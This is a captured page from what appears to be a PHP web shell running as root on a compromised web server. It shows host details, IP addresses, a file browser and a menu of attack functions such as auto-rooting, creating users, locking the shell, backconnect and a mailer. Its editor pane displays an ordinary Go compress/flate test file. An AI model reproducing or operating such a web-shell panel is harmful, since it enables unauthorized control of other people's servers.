Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
compress /
flate /
[ HOME SHELL ]
Name
Size
Permission
Action
testdata
[ DIR ]
drwxr-xr-x
deflate.go
20.44
KB
-rw-r--r--
deflate_test.go
21.72
KB
-rw-r--r--
deflatefast.go
8.53
KB
-rw-r--r--
dict_decoder.go
6.03
KB
-rw-r--r--
dict_decoder_test.go
4.38
KB
-rw-r--r--
example_test.go
6.53
KB
-rw-r--r--
flate_test.go
11
KB
-rw-r--r--
huffman_bit_writer.go
18.36
KB
-rw-r--r--
huffman_bit_writer_test.go
40.33
KB
-rw-r--r--
huffman_code.go
9.81
KB
-rw-r--r--
inflate.go
19.92
KB
-rw-r--r--
inflate_test.go
2.14
KB
-rw-r--r--
reader_test.go
2.32
KB
-rw-r--r--
token.go
3.59
KB
-rw-r--r--
writer_test.go
3.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reader_test.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package flate import ( "bytes" "io" "io/ioutil" "runtime" "strings" "testing" ) func TestNlitOutOfRange(t *testing.T) { // Trying to decode this bogus flate data, which has a Huffman table // with nlit=288, should not panic. io.Copy(ioutil.Discard, NewReader(strings.NewReader( "\xfc\xfe\x36\xe7\x5e\x1c\xef\xb3\x55\x58\x77\xb6\x56\xb5\x43\xf4"+ "\x6f\xf2\xd2\xe6\x3d\x99\xa0\x85\x8c\x48\xeb\xf8\xda\x83\x04\x2a"+ "\x75\xc4\xf8\x0f\x12\x11\xb9\xb4\x4b\x09\xa0\xbe\x8b\x91\x4c"))) } var suites = []struct{ name, file string }{ // Digits is the digits of the irrational number e. Its decimal representation // does not repeat, but there are only 10 possible digits, so it should be // reasonably compressible. {"Digits", "../testdata/e.txt"}, // Newton is Isaac Newtons's educational text on Opticks. {"Newton", "../../testdata/Isaac.Newton-Opticks.txt"}, } func BenchmarkDecode(b *testing.B) { doBench(b, func(b *testing.B, buf0 []byte, level, n int) { b.ReportAllocs() b.StopTimer() b.SetBytes(int64(n)) compressed := new(bytes.Buffer) w, err := NewWriter(compressed, level) if err != nil { b.Fatal(err) } for i := 0; i < n; i += len(buf0) { if len(buf0) > n-i { buf0 = buf0[:n-i] } io.Copy(w, bytes.NewReader(buf0)) } w.Close() buf1 := compressed.Bytes() buf0, compressed, w = nil, nil, nil runtime.GC() b.StartTimer() for i := 0; i < b.N; i++ { io.Copy(ioutil.Discard, NewReader(bytes.NewReader(buf1))) } }) } var levelTests = []struct { name string level int }{ {"Huffman", HuffmanOnly}, {"Speed", BestSpeed}, {"Default", DefaultCompression}, {"Compression", BestCompression}, } var sizes = []struct { name string n int }{ {"1e4", 1e4}, {"1e5", 1e5}, {"1e6", 1e6}, } func doBench(b *testing.B, f func(b *testing.B, buf []byte, level, n int)) { for _, suite := range suites { buf, err := ioutil.ReadFile(suite.file) if err != nil { b.Fatal(err) } if len(buf) == 0 { b.Fatalf("test file %q has no data", suite.file) } for _, l := range levelTests { for _, s := range sizes { b.Run(suite.name+"/"+l.name+"/"+s.name, func(b *testing.B) { f(b, buf, l.level, s.n) }) } } } }
Close